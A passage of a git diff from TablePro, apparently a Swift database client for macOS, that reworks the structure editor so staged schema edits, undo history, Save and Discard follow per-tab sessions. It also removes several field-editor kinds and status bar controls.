+++ b/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift
@@ -2,9 +2,6 @@
 //  MainContentView+Helpers.swift
 //  TablePro
 //
-//  Extension containing helper methods and inspector context
-//  for MainContentView. Extracted to reduce main view complexity.
-//
 
 import SwiftUI
 import TableProPluginKit
@@ -75,7 +72,7 @@ extension MainContentView {
             isRowDeleted: isSelectedRowDeleted,
             tableMetadata: tableMetadataForCurrentTab,
             jsonRow: jsonRowSnapshotForSidebar,
-            userDefinedTypeScope: structureTypeScope
+            structure: structureInspectorSource
         )
         updateAssistantContext()
     }
@@ -96,17 +93,6 @@ extension MainContentView {
         currentTab.flatMap { coordinator.currentTableMetadata(for: $0) }
     }
 
-    // The tab's own database and schema, never the sidebar's: a tab bound to another database edits that one.
-    private var structureTypeScope: DatabaseScope? {
-        guard let tab = currentTab, tab.tabType == .table || tab.tabType == .createTable else { return nil }
-        let database = tab.tableContext.databaseName ?? coordinator.browseDatabaseName
-        return DatabaseScope(
-            connectionId: coordinator.connection.id,
-            database: database,
-            schema: tab.tableContext.schemaName
-        )
-    }
-
     private func cachedQueryResultsSummary() -> String? {
         guard let tab = currentTab else { return nil }
         if let cache = queryResultsSummaryCache,
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift
index 84b9a6e042..9388979b8f 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift
@@ -76,19 +76,32 @@ extension MainContentView {
 
     // One resolution of what is staged, so commit, its verb and Preview SQL agree; staged principals once left Cmd+S dim.
     func updateToolbarPendingState() {
+        let selectedTab = tabManager.selectedTab
+        let hasDataChanges = changeManager.hasChanges || !pendingTruncates.isEmpty || !pendingDeletes.isEmpty
+        // The session, not the mounted view: leaving Structure for Data used to dim Save over staged edits.
+        let hasStagedStructure = selectedStructureSession?.hasChanges ?? false
+        let previewsSchemaChanges = toolbarState.hasTypeChanges || coordinator.selectedDiagramHasStagedEdits
+            || (hasStagedStructure && selectedTab?.display.resultsViewMode == .structure)
         let kind = PendingChangeKind.resolve(
-            tabType: tabManager.selectedTab?.tabType,
-            hasDataChanges: changeManager.hasChanges || !pendingTruncates.isEmpty || !pendingDeletes.isEmpty,
-            hasStructureChanges: toolbarState.hasStructureChanges || toolbarState.hasTypeChanges
+            tabType: selectedTab?.tabType,
+            hasDataChanges: hasDataChanges,
+            hasStructureChanges: hasStagedStructure || toolbarState.hasTypeChanges
                 || coordinator.selectedDiagramHasStagedEdits,
             hasCreateTablePending: toolbarState.hasCreateTablePending,
             hasPrincipalChanges: toolbarState.hasPrincipalChanges,
-            isFileDirty: tabManager.selectedTab?.content.isFileDirty ?? false
+            isFileDirty: selectedTab?.content.isFileDirty ?? false
         )
         toolbarState.pendingChange = kind
         toolbarState.hasPendingChanges = kind != nil
-        // Narrower than the commit: a dirty query file and staged principals raise the commit but have no grid SQL to show.
-        toolbarState.hasDataPendingChanges = kind == .data || kind == .structure
+        toolbarState.hasDataPendingChanges = PendingChangeKind.offersPreview(
+            of: kind,
+            hasDataChanges: hasDataChanges,
+            previewsSchemaChanges: previewsSchemaChanges
+        )
+    }
+
+    var selectedStructureSession: StructureEditingSession? {
+        tabManager.selectedTabId.flatMap { coordinator.structureSessions[$0] }
     }
 
     // The edited dot is written directly: the unsaved work it reports stays in the window under an agent conversation.
diff --git a/apple/TablePro/Views/Main/MainContentCommandActions+Structure.swift b/apple/TablePro/Views/Main/MainContentCommandActions+Structure.swift
new file mode 100644
index 0000000000..d6fb86f73c
--- /dev/null
+++ b/apple/TablePro/Views/Main/MainContentCommandActions+Structure.swift
@@ -0,0 +1,117 @@
+//
+//  MainContentCommandActions+Structure.swift
+//  TablePro
+//
+
+import Foundation
+
+// Structure commands go to the selected tab's own session or Create Table draft, which hold their edits mounted or not.
+extension MainContentCommandActions {
+    // MARK: - Save and discard
+
+    // From Data, only when no grid edit is ahead of it: Save stays live after the user leaves Structure.
+    var stagedStructureSession: StructureEditingSession? {
+        guard let coordinator,
+              let tab = coordinator.tabManager.selectedTab,
+              let session = coordinator.structureSessions[tab.id],
+              session.hasChanges else { return nil }
+        if tab.display.resultsViewMode == .structure { return session }
+        return hasDataWork ? nil : session
+    }
+
+    var canDiscardChanges: Bool { discardTarget != nil }
+
+    func discardChanges() {
+        switch discardTarget {
+        case .structure(let session):
+            session.discardChangesAfterConfirming()
+        case .data:
+            Task { await discardDataWorkAfterConfirming() }
+        case nil:
+            break
+        }
+    }
+
+    private enum DiscardTarget {
+        case structure(StructureEditingSession)
+        case data
+    }
+
+    // Create Table has no saved state to return to.
+    private var discardTarget: DiscardTarget? {
+        guard let tab = coordinator?.tabManager.selectedTab,
+              tab.tabType == .table || tab.tabType == .query else { return nil }
+        if let session = stagedStructureSession { return .structure(session) }
+        return hasDataWork ? .data : nil
+    }
+
+    private func discardDataWorkAfterConfirming() async {
+        let confirmed = await AlertHelper.confirmDestructive(
+            title: String(localized: "Discard Changes?"),
+            message: String(localized: "The changes you have not saved will be lost."),
+            confirmButton: String(localized: "Discard Changes"),
+            cancelButton: String(localized: "Cancel"),
+            window: closeAnchorWindow
+        )
+        guard confirmed else { return }
+        discardDataWork()
+    }
+
+    // MARK: - Rows
+
+    var canAddSchemaRow: Bool {
+        if let session = coordinator?.activeStructureSession { return session.canAddRow }
+        return coordinator?.activeCreateTableDraft?.canAddRow ?? false
+    }
+
+    var canRemoveSchemaRows: Bool {
+        if let session = coordinator?.activeStructureSession { return session.canRemoveRows }
+        return coordinator?.activeCreateTableDraft?.canRemoveRows ?? false
+    }
+
+    var canPasteSchemaRows: Bool {
+        if let session = coordinator?.activeStructureSession { return session.canPasteRows }
+        guard let draft = coordinator?.activeCreateTableDraft, draft.canAddRow else { return false }
+        return draft.editor.canPaste
+    }
+
+    func addSchemaRow() {
+        if let session = coordinator?.activeStructureSession {
+            session.addRow()
+        } else {
+            coordinator?.activeCreateTableDraft?.addRow()
+        }
+    }
+
+    func removeSchemaRows() {
+        if let session = coordinator?.activeStructureSession {
+            session.removeSelectedRows()
+        } else {
+            coordinator?.activeCreateTableDraft?.removeSelectedRows()
+        }
+    }
+
+    func duplicateSchemaRows() {
+        if let session = coordinator?.activeStructureSession {
+            session.duplicateSelectedRows()
+        } else if let draft = coordinator?.activeCreateTableDraft, draft.canAddRow {
+            draft.editor.duplicateSelection()
+        }
+    }
+
+    func copySchemaRows() {
+        if let session = coordinator?.activeStructureSession {
+            session.copySelectedRows()
+        } else {
+            coordinator?.activeCreateTableDraft?.editor.copySelection()
+        }
+    }
+
+    func pasteSchemaRows() {
+        if let session = coordinator?.activeStructureSession {
+            session.pasteRows()
+        } else if canPasteSchemaRows {
+            coordinator?.activeCreateTableDraft?.editor.paste()
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Main/MainContentCommandActions+UndoState.swift b/apple/TablePro/Views/Main/MainContentCommandActions+UndoState.swift
index 76dd50c879..f35e03c609 100644
--- a/apple/TablePro/Views/Main/MainContentCommandActions+UndoState.swift
+++ b/apple/TablePro/Views/Main/MainContentCommandActions+UndoState.swift
@@ -5,18 +5,37 @@
 
 import AppKit
 
-/// A connection hosts three undo domains, picked by the active tab: Users & Roles and
-/// the structure editor keep their own histories, and everything else registers on
-/// the window's `UndoManager`, which `TabWindowController` resolves to the selected
-/// connection's own history. Availability and the menu title both have to follow
-/// whichever one is live, so they resolve through the same branch the commands do.
+// The structure editor's own history, which the window's undo manager never sees.
+@MainActor
+protocol StructureUndoHistory: AnyObject {
+    var canUndo: Bool { get }
+    var canRedo: Bool { get }
+    var undoMenuItemTitle: String { get }
+    var redoMenuItemTitle: String { get }
+    func undo()
+    func redo()
+}
+
+extension StructureEditingSession: StructureUndoHistory {}
+
+extension CreateTableDraft: StructureUndoHistory {}
+
+// Users & Roles, the diagram and the structure editor keep their own histories; everything else registers on the
+// window's undo manager. Availability, title and command resolve through the same branch so they cannot disagree.
 extension MainContentCommandActions {
     private var windowUndoManager: UndoManager? {
         coordinator?.contentWindow?.undoManager
     }
 
-    private var isStructureMode: Bool {
-        coordinator?.tabManager.selectedTab?.display.resultsViewMode == .structure
+    // A Create Table tab keeps its view mode at Data, so it is asked for by tab type.
+    private var showsStructureEditor: Bool {
+        guard let tab = coordinator?.tabManager.selectedTab else { return false }
+        return tab.tabType == .createTable || tab.display.resultsViewMode == .structure
+    }
+
+    private var structureHistory: (any StructureUndoHistory)? {
+        if let session = coordinator?.activeStructureSession { return session }
+        return coordinator?.activeCreateTableDraft
     }
 
     // The diagram stages on one session per table, so it keeps its own order across them.
@@ -31,12 +50,11 @@ extension MainContentCommandActions {
         coordinator?.tabManager.selectedTab?.tabType == .erDiagram
     }
 
-    /// A field still being typed into has an undo step waiting rather than registered, and the menu
-    /// has to offer it: the command ends the run before it reaches the undo manager.
+    // A field still being typed into has its step waiting rather than registered; the command ends the run first.
     var canUndo: Bool {
         if isUsersRolesTab { return coordinator?.usersRolesActions?.canUndo() ?? false }
         if isDiagramTab { return selectedDiagram?.canUndoStagedEdit ?? false }
-        if isStructureMode { return coordinator?.structureActions?.undo != nil }
+        if showsStructureEditor { return structureHistory?.canUndo ?? false }
         if coordinator?.changeManager.hasCoalescedUndoRun == true { return true }
         return windowUndoManager?.canUndo ?? false
     }
@@ -44,13 +62,17 @@ extension MainContentCommandActions {
     var canRedo: Bool {
         if isUsersRolesTab { return coordinator?.usersRolesActions?.canRedo() ?? false }
         if isDiagramTab { return selectedDiagram?.canRedoStagedEdit ?? false }
-        if isStructureMode { return coordinator?.structureActions?.redo != nil }
+        if showsStructureEditor { return structureHistory?.canRedo ?? false }
         return windowUndoManager?.canRedo ?? false
     }
 
     var resolvedUndoTitle: String {
         if isUsersRolesTab { return undoMenuTitle }
         if isDiagramTab { return String(localized: "Undo") }
+        if showsStructureEditor {
+            guard let history = structureHistory, history.canUndo else { return String(localized: "Undo") }
+            return history.undoMenuItemTitle
+        }
         if coordinator?.changeManager.hasCoalescedUndoRun == true {
             return String(localized: "Undo Edit Cell")
         }
@@ -61,61 +83,47 @@ extension MainContentCommandActions {
     var resolvedRedoTitle: String {
         if isUsersRolesTab { return redoMenuTitle }
         if isDiagramTab { return String(localized: "Redo") }
+        if showsStructureEditor {
+            guard let history = structureHistory, history.canRedo else { return String(localized: "Redo") }
+            return history.redoMenuItemTitle
+        }
         guard let manager = windowUndoManager, manager.canRedo else { return String(localized: "Redo") }
         return manager.redoMenuItemTitle
     }
 
     // MARK: - Commands
 
-    /// A Create Table tab keeps its `resultsViewMode` at `.data`, so it needs its own arm. Without
-    /// one, Cmd+Z in the visual table editor reached the window's undo manager, which owns none of
-    /// the draft, and the grid's own undo had no caller at all.
     func undoChange() {
         coordinator?.endInspectorEditRun()
-        endTableCommentRun()
         if isUsersRolesTab {
             coordinator?.usersRolesActions?.undo()
             return
         }
-        if coordinator?.tabManager.selectedTab?.tabType == .createTable {
-            coordinator?.createTableActions?.undo?()
-            return
-        }
         if isDiagramTab {
             selectedDiagram?.undoStagedEdit()
             return
         }
-        if coordinator?.tabManager.selectedTab?.display.resultsViewMode == .structure {
-            coordinator?.structureActions?.undo?()
+        if showsStructureEditor {
+            structureHistory?.undo()
             return
         }
-        coordinator?.contentWindow?.undoManager?.undo()
+        windowUndoManager?.undo()
     }
 
     func redoChange() {
         coordinator?.endInspectorEditRun()
-        endTableCommentRun()
         if isUsersRolesTab {
             coordinator?.usersRolesActions?.redo()
             return
         }
-        if coordinator?.tabManager.selectedTab?.tabType == .createTable {
-            coordinator?.createTableActions?.redo?()
-            return
-        }
         if isDiagramTab {
             selectedDiagram?.redoStagedEdit()
             return
         }
-        if coordinator?.tabManager.selectedTab?.display.resultsViewMode == .structure {
-            coordinator?.structureActions?.redo?()
+        if showsStructureEditor {
+            structureHistory?.redo()
             return
         }
-        coordinator?.contentWindow?.undoManager?.redo()
-    }
-
-    private func endTableCommentRun() {
-        guard let coordinator, let tabId = coordinator.tabManager.selectedTabId else { return }
-        coordinator.structureSessions[tabId]?.changeManager.endTableCommentRun()
+        windowUndoManager?.redo()
     }
 }
diff --git a/apple/TablePro/Views/Main/MainContentCommandActions.swift b/apple/TablePro/Views/Main/MainContentCommandActions.swift
index a58475ef42..5a3f62be3f 100644
--- a/apple/TablePro/Views/Main/MainContentCommandActions.swift
+++ b/apple/TablePro/Views/Main/MainContentCommandActions.swift
@@ -171,9 +171,8 @@ final class MainContentCommandActions: ObservableObject {
     // MARK: - Row Operations (Group A: Called Directly)
 
     func addNewRow() {
-        // Structure inserts a column, index or FK row by sub-tab; the data path adds data rows only.
         switch selectionOwner {
-        case .schemaGrid: coordinator?.structureActions?.addRow?()
+        case .schemaGrid: addSchemaRow()
         case .dataGrid: coordinator?.addNewRow()
         case .none: break
         }
@@ -185,13 +184,13 @@ final class MainContentCommandActions: ObservableObject {
         return coordinator?.activeGridModel?.selectedRowIDs ?? []
     }
 
-    // A Create Table tab has no structure handler; claiming its selection would make commands inert and shadow sidebar delete.
-    private var selectionOwner: GridSelectionOwner {
+    // A structure grid with no session or draft behind it takes no commands; claiming it would shadow sidebar delete.
+    var selectionOwner: GridSelectionOwner {
         let owner = GridSelectionOwner.resolve(
             tabType: coordinator?.tabManager.selectedTab?.tabType,
             resultsViewMode: coordinator?.tabManager.selectedTab?.display.resultsViewMode
         )
-        guard owner == .schemaGrid, coordinator?.structureActions == nil else { return owner }
+        guard owner == .schemaGrid, coordinator?.activeStructureEditor == nil else { return owner }
         return .none
     }
 
@@ -205,8 +204,9 @@ final class MainContentCommandActions: ObservableObject {
     }
 
     func deleteSelectedRows() {
-        if selectionOwner == .schemaGrid {
-            coordinator?.structureActions?.removeRow?()
+        // A selected definition that cannot be removed refuses here; Delete never reaches the sidebar's tables.
+        if selectsSchemaDefinition {
+            removeSchemaRows()
             return
         }
 
@@ -220,13 +220,17 @@ final class MainContentCommandActions: ObservableObject {
     }
 
     func duplicateRow() {
+        if selectionOwner == .schemaGrid {
+            duplicateSchemaRows()
+            return
+        }
         guard let rowID = singleSelectedDataGridRowID else { return }
         coordinator?.duplicateRow(rowID)
     }
 
     func copySelectedRows() {
         switch selectionOwner {
-        case .schemaGrid: coordinator?.structureActions?.copyRows?()
+        case .schemaGrid: copySchemaRows()
         case .dataGrid: coordinator?.copyRowsToClipboard(selectedDataRowIDs)
         case .none: break
         }
@@ -244,7 +248,7 @@ final class MainContentCommandActions: ObservableObject {
 
     func pasteRows() {
         switch selectionOwner {
-        case .schemaGrid: coordinator?.structureActions?.pasteRows?()
+        case .schemaGrid: pasteSchemaRows()
         case .dataGrid: coordinator?.pasteRows()
         case .none: break
         }
@@ -375,15 +379,20 @@ final class MainContentCommandActions: ObservableObject {
         SharedSidebarState.forConnection(connection.id).sidebarLayout = layout
     }
 
+    // Not the data tab's state in Structure: Add Row there used to light from the rows' editability.
     var isCurrentTabEditable: Bool {
-        guard let coordinator, coordinator.tabManager.selectedTab != nil, selectionOwner != .none else {
-            return false
+        guard let coordinator, coordinator.tabManager.selectedTab != nil else { return false }
+        switch selectionOwner {
+        case .schemaGrid: return canAddSchemaRow || canRemoveSchemaRows
+        case .dataGrid: return coordinator.canEditActiveResult
+        case .none: return false
         }
-        return coordinator.canEditActiveResult
     }
 
+    // Add and Duplicate Row gate on this; a structure grid adds only where its section allows it.
     var isCurrentTabSchemaResolved: Bool {
         guard let coordinator, let tabId = coordinator.tabManager.selectedTabId else { return false }
+        if selectionOwner == .schemaGrid { return canAddSchemaRow }
         return coordinator.tabSessionRegistry.tableRows(for: tabId).hasAuthoritativeSchema
     }
 
@@ -431,7 +440,7 @@ final class MainContentCommandActions: ObservableObject {
         }
         switch selectionOwner {
         case .schemaGrid:
-            return coordinator?.structureActions?.pasteRows != nil && TableStructureView.canPasteStructureRows
+            return canPasteSchemaRows
         case .dataGrid:
             return tab.tabType == .table && isCurrentTabEditable && isCurrentTabSchemaResolved
                 && ClipboardService.shared.hasText
@@ -480,7 +489,12 @@ final class MainContentCommandActions: ObservableObject {
 
     // Same check as the sidebar's Delete item, which the menu bar used to skip on engines with no statement for it.
     var canDropSelectedTables: Bool {
-        TableOperationEligibility.canDrop(selectedTables.wrappedValue, context: tableOperationEligibility)
+        guard !selectsSchemaDefinition else { return false }
+        return TableOperationEligibility.canDrop(selectedTables.wrappedValue, context: tableOperationEligibility)
+    }
+
+    private var selectsSchemaDefinition: Bool {
+        selectionOwner == .schemaGrid && coordinator?.activeStructureEditor?.focusedSection != nil
     }
 
     private var tableOperationEligibility: TableOperationEligibility.Context {
@@ -522,10 +536,6 @@ final class MainContentCommandActions: ObservableObject {
         coordinator?.isEditingActiveGrid == true
     }
 
-    var hasStructureChanges: Bool {
-        coordinator?.toolbarState.hasStructureChanges ?? false
-    }
-
     // MARK: - Unsaved Changes Check
 
     // Every connection in the window: closing it closes them all, and skipping a background one is silent data loss.
@@ -777,10 +787,7 @@ final class MainContentCommandActions: ObservableObject {
         guard await applySelectedTypeChanges() else { return false }
 
         // Data grid changes or pending table operations take priority
-        let hasDataChanges = coordinator.changeManager.hasChanges
-            || !pendingTruncates.wrappedValue.isEmpty
-            || !pendingDeletes.wrappedValue.isEmpty
-        if hasDataChanges {
+        if hasDataWork {
             return await withCheckedContinuation { continuation in
                 coordinator.saveCompletionContinuation = continuation
                 saveChanges()
@@ -879,13 +886,19 @@ final class MainContentCommandActions: ObservableObject {
 
     // MARK: - Data Operations (Group A: Called Directly)
 
-    // Any Structure sub-tab saves: DDL, Parts and Triggers are read-only views, and refusing left Cmd+S silently inert.
-    private func applyStagedStructureChanges() {
-        guard let coordinator,
-              let tabId = coordinator.tabManager.selectedTabId,
-              let session = coordinator.structureSessions[tabId],
-              session.changeManager.hasChanges else { return }
-        Task { _ = await session.applyStagedChanges(coordinator: coordinator) }
+    var hasDataWork: Bool {
+        coordinator?.changeManager.hasChanges == true
+            || !pendingTruncates.wrappedValue.isEmpty
+            || !pendingDeletes.wrappedValue.isEmpty
+    }
+
+    // What Save would write for the grid: cell edits and the staged TRUNCATE and DROP.
+    func discardDataWork() {
+        var truncates = pendingTruncates.wrappedValue
+        var deletes = pendingDeletes.wrappedValue
+        coordinator?.handleDiscard(pendingTruncates: &truncates, pendingDeletes: &deletes)
+        pendingTruncates.wrappedValue = truncates
+        pendingDeletes.wrappedValue = deletes
     }
 
     func restorePreviousValues() {
@@ -899,18 +912,17 @@ final class MainContentCommandActions: ObservableObject {
             return
         }
         if coordinator?.tabManager.selectedTab?.tabType == .createTable {
-            coordinator?.createTableActions?.createTable?()
+            guard let coordinator, let draft = coordinator.activeCreateTableDraft else { return }
+            draft.create(coordinator: coordinator)
             return
         }
         if saveSelectedDiagram() {
             return
         }
         if saveSelectedTypeChanges() { return }
-        if coordinator?.tabManager.selectedTab?.display.resultsViewMode == .structure {
-            applyStagedStructureChanges()
-        } else if coordinator?.changeManager.hasChanges == true
-            || !pendingTruncates.wrappedValue.isEmpty
-            || !pendingDeletes.wrappedValue.isEmpty {
+        if let session = stagedStructureSession, let coordinator {
+            Task { _ = await session.applyStagedChanges(coordinator: coordinator) }
+        } else if hasDataWork {
             // Data grid first: its edits sync to the sidebar editState, and its path uses the plugin driver for statements.
             var truncates = pendingTruncates.wrappedValue
             var deletes = pendingDeletes.wrappedValue
@@ -1099,9 +1111,17 @@ final class MainContentCommandActions: ObservableObject {
     }
 
     func runQuery() {
+        if let coordinator, let draft = coordinator.activeCreateTableDraft {
+            draft.create(coordinator: coordinator)
+            return
+        }
         coordinator?.runQuery(viewport: .keepPlace)
     }
 
+    var canCreateDraftTable: Bool {
+        coordinator?.activeCreateTableDraft?.isReadyToCreate ?? false
+    }
+
     func runQueryWithoutLimit() {
         coordinator?.runQuery(viewport: .keepPlace, bypassRowLimit: true)
     }
diff --git a/apple/TablePro/Views/Main/MainContentCoordinator.swift b/apple/TablePro/Views/Main/MainContentCoordinator.swift
index 69ff360f71..1e4fd80455 100644
--- a/apple/TablePro/Views/Main/MainContentCoordinator.swift
+++ b/apple/TablePro/Views/Main/MainContentCoordinator.swift
@@ -191,11 +191,6 @@ final class MainContentCoordinator: ObservableObject {
 
     weak var sidebarViewModel: SidebarViewModel?
 
-    weak var structureActions: StructureViewActionHandler?
-
-    // Lets Save Changes (Cmd+S) route to table creation. Set by `CreateTableView` on appear.
-    weak var createTableActions: CreateTableActionHandler?
-
     weak var usersRolesActions: UsersRolesActionHandler?
 
     // Not in the view: it dies on every tab and Data/Structure switch, and the close gate must see unseen tabs' staged work.
@@ -212,9 +207,6 @@ final class MainContentCoordinator: ObservableObject {
     // `saveCompletionContinuation` is one slot: a second close gesture would overwrite it and strand the first task forever.
     internal var tabClosesInFlight: Set<UUID> = []
 
-    // The non-data grid that owns the selection, read by the inspector. Set by `TableStructureView` and `CreateTableView`.
-    weak var inspectorRowSource: (any InspectorRowSource)?
-
     // Bumped when a published schema row changes, so the inspector re-reads it.
     @Published var inspectorRowSourceRevision: Int = 0
 
diff --git a/apple/TablePro/Views/Main/MainContentView.swift b/apple/TablePro/Views/Main/MainContentView.swift
index fdc7b3f76a..3de7ffcf9c 100644
--- a/apple/TablePro/Views/Main/MainContentView.swift
+++ b/apple/TablePro/Views/Main/MainContentView.swift
@@ -266,11 +266,7 @@ struct MainContentView: View {
                 }
             )
         case .sqlPreview:
-            SQLReviewSheet(
-                isPresented: dismissBinding,
-                statements: coordinator.toolbarState.previewStatements,
-                databaseType: coordinator.toolbarState.databaseType
-            )
+            sqlPreviewSheet(dismiss: dismissBinding)
         case .rewind:
             if let plan = coordinator.rewindPlan {
                 RewindReviewSheet(plan: plan) {
@@ -306,12 +302,32 @@ struct MainContentView: View {
         }
     }
 
+    // A structure session's preview offers its Save; a grid preview only shows what Save would write.
+    private func sqlPreviewSheet(dismiss: Binding<Bool>) -> SQLReviewSheet {
+        SQLReviewSheet(
+            isPresented: dismiss,
+            statements: coordinator.toolbarState.previewStatements,
+            databaseType: coordinator.toolbarState.databaseType,
+            primaryAction: coordinator.activeStructureSession.flatMap { session -> SQLReviewSheet.PrimaryAction? in
+                guard session.hasChanges else { return nil }
+                return SQLReviewSheet.PrimaryAction(
+                    title: String(localized: "Save Changes"),
+                    isDestructive: false,
+                    work: .immediate {
+                        coordinator.activeSheet = nil
+                        session.save()
+                    }
+                )
+            }
+        )
+    }
+
     private var pendingChangeTrigger: PendingChangeTrigger {
         PendingChangeTrigger(
             hasDataChanges: changeManager.hasChanges,
             pendingTruncates: pendingTruncates,
             pendingDeletes: pendingDeletes,
-            hasStructureChanges: toolbarState.hasStructureChanges,
+            hasStructureChanges: selectedStructureSession?.hasChanges ?? false,
             diagramEditsRevision: toolbarState.diagramEditsRevision,
             selectedTabId: tabManager.selectedTabId,
             isFileDirty: tabManager.selectedTab?.content.isFileDirty ?? false,
@@ -354,6 +370,15 @@ struct MainContentView: View {
                     .id(ObjectIdentifier(model))
                 }
             }
+            .background {
+                if let session = selectedStructureSession {
+                    StructureChangeWatcher(session: session) {
+                        updateToolbarPendingState()
+                        coordinator.refreshUnsavedIndicator()
+                    }
+                    .id(ObjectIdentifier(session))
+                }
+            }
             .onReceive(coordinator.gridCellsEdited) { _ in
                 scheduleInspectorUpdate()
             }
@@ -525,3 +550,16 @@ struct MainContentView: View {
         )
     }
 }
+
+// No view of this window observes a session whose Structure view is not on screen, yet Discard and Save change it there.
+private struct StructureChangeWatcher: View {
+    @ObservedObject var session: StructureEditingSession
+    let onChange: () -> Void
+
+    var body: some View {
+        Color.clear
+            .frame(width: 0, height: 0)
+            .accessibilityHidden(true)
+            .onChange(of: session.hasChanges) { _ in onChange() }
+    }
+}
diff --git a/apple/TablePro/Views/Results/ResultStatusBar.swift b/apple/TablePro/Views/Results/ResultStatusBar.swift
index 07980fcdec..170346bdc0 100644
--- a/apple/TablePro/Views/Results/ResultStatusBar.swift
+++ b/apple/TablePro/Views/Results/ResultStatusBar.swift
@@ -38,7 +38,6 @@ struct ResultStatusBar: View {
     let columnState: StatusBarColumnState
     let highlightState: StatusBarHighlightState
     let paginationCallbacks: PaginationCallbacks
-    let structureFooter: StructureFooterCapability
     let execution: ExecutionReadout
     /// Held, not observed: only the readout inside the report slot re-renders when it changes.
     let selectionSummary: SelectionSummaryState
@@ -54,8 +53,6 @@ struct ResultStatusBar: View {
     let onCloseOtherResultSets: (UUID) -> Void
     let onToggleFilters: () -> Void
     let onFetchAll: (() -> Void)?
-    let onStructureAdd: () -> Void
-    let onStructureRemove: () -> Void
 
     @State private var showColumnPopover = false
     @State private var showHighlightPopover = false
@@ -301,20 +298,6 @@ struct ResultStatusBar: View {
             if model.controls.showsPagination {
                 paginationControls(presentation)
             }
-            if model.controls.showsStructureActions {
-                AddRemoveControlGroup(
-                    addLabel: structureFooter.addLabel,
-                    removeLabel: structureFooter.removeLabel,
-                    canAdd: structureFooter.canAdd,
-                    canRemove: structureFooter.canRemove,
-                    addHelp: structureFooter.unavailableReason,
-                    removeHelp: structureFooter.unavailableReason,
-                    addIdentifier: "structure-footer-add",
-                    removeIdentifier: "structure-footer-remove",
-                    onAdd: onStructureAdd,
-                    onRemove: onStructureRemove
-                )
-            }
         }
         .fixedSize()
     }
diff --git a/apple/TablePro/Views/RowInspector/FieldEditors/FieldEditorContent.swift b/apple/TablePro/Views/RowInspector/FieldEditors/FieldEditorContent.swift
index 0950b8e615..b8094dbc0c 100644
--- a/apple/TablePro/Views/RowInspector/FieldEditors/FieldEditorContent.swift
+++ b/apple/TablePro/Views/RowInspector/FieldEditors/FieldEditorContent.swift
@@ -10,7 +10,6 @@ import SwiftUI
 internal struct FieldEditorContent: View {
     internal let context: FieldEditorContext
     internal let kind: FieldEditorKind
-    internal let databaseType: DatabaseType
     internal var onSetNull: (() -> Void)?
     internal var onSetDefault: (() -> Void)?
     internal var onPopOut: ((String) -> Void)?
@@ -29,8 +28,8 @@ internal struct FieldEditorContent: View {
     /// take away the control that changes it back.
     private var isPicker: Bool {
         switch kind {
-        case .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .typePicker, .valuePicker: return true
-        case .json, .phpSerialized, .binaryValue, .image, .geometry, .blobHex, .schemaText, .multiLine, .singleLine:
+        case .boolean, .enumPicker, .setPicker, .arrayElements, .vector: return true
+        case .json, .phpSerialized, .binaryValue, .image, .geometry, .blobHex, .multiLine, .singleLine:
             return false
         }
     }
@@ -42,8 +41,7 @@ internal struct FieldEditorContent: View {
         switch kind {
         case .json, .phpSerialized, .binaryValue, .multiLine: return true
         case .geometry(let descriptor): return canExpand(kind: descriptor.textEditorKind, state: state)
-        case .image, .blobHex, .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .typePicker,
-             .valuePicker, .schemaText, .singleLine:
+        case .image, .blobHex, .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .singleLine:
             return false
         }
     }
@@ -57,8 +55,7 @@ internal struct FieldEditorContent: View {
         case .blobHex: return 60
         case .multiLine: return ResizableFieldMetrics.defaultTextHeight
         case .geometry(let descriptor): return pillHeight(for: descriptor.textEditorKind)
-        case .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .typePicker, .valuePicker,
-             .schemaText, .singleLine:
+        case .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .singleLine:
             return nil
         }
     }
@@ -100,12 +97,6 @@ internal struct FieldEditorContent: View {
             )
         case .vector:
             VectorFieldEditorView(context: context, onSetNull: onSetNull, onSetDefault: onSetDefault)
-        case .typePicker:
-            TypePickerFieldView(context: context, databaseType: databaseType)
-        case .valuePicker(let options):
-            ValuePickerFieldView(context: context, options: options)
-        case .schemaText:
-            SchemaTextFieldView(context: context)
         case .multiLine:
             MultiLineEditorView(context: context, onPopOut: onPopOut, isExpanded: isExpanded)
         case .singleLine:
diff --git a/apple/TablePro/Views/RowInspector/FieldEditors/FieldEditorContext.swift b/apple/TablePro/Views/RowInspector/FieldEditors/FieldEditorContext.swift
index 2fdf5ea681..46174a22b3 100644
--- a/apple/TablePro/Views/RowInspector/FieldEditors/FieldEditorContext.swift
+++ b/apple/TablePro/Views/RowInspector/FieldEditors/FieldEditorContext.swift
@@ -23,12 +23,8 @@ internal struct FieldEditorContext {
     /// column type and the value only when this is nil, and resolving costs a parse of the value.
     internal let editor: FieldEditorKind?
 
-    /// A schema field has no NULL or DEFAULT state and no data type to badge.
+    // False where the store has no NULL or DEFAULT to write, as in a data file.
     internal let allowsNullAndDefault: Bool
-    internal let showsTypeBadge: Bool
-
-    /// The table a column type picker offers user-defined types for. Nil outside a structure row.
-    internal let userDefinedTypeScope: DatabaseScope?
 
     internal init(
         columnName: String,
@@ -40,9 +36,7 @@ internal struct FieldEditorContext {
         isReadOnly: Bool,
         commitBytes: ((Data) -> Void)? = nil,
         editor: FieldEditorKind? = nil,
-        allowsNullAndDefault: Bool = true,
-        showsTypeBadge: Bool = true,
-        userDefinedTypeScope: DatabaseScope? = nil
+        allowsNullAndDefault: Bool = true
     ) {
         self.columnName = columnName
         self.columnType = columnType
@@ -54,8 +48,6 @@ internal struct FieldEditorContext {
         self.commitBytes = commitBytes
         self.editor = editor
         self.allowsNullAndDefault = allowsNullAndDefault
-        self.showsTypeBadge = showsTypeBadge
-        self.userDefinedTypeScope = userDefinedTypeScope
     }
 
     internal var hasMultipleValues: Bool { valueState == .multipleValues }
diff --git a/apple/TablePro/Views/RowInspector/FieldEditors/SchemaTextFieldView.swift b/apple/TablePro/Views/RowInspector/FieldEditors/SchemaTextFieldView.swift
deleted file mode 100644
index 130bac1db9..0000000000
--- a/apple/TablePro/Views/RowInspector/FieldEditors/SchemaTextFieldView.swift
+++ /dev/null
@@ -1,49 +0,0 @@
-//
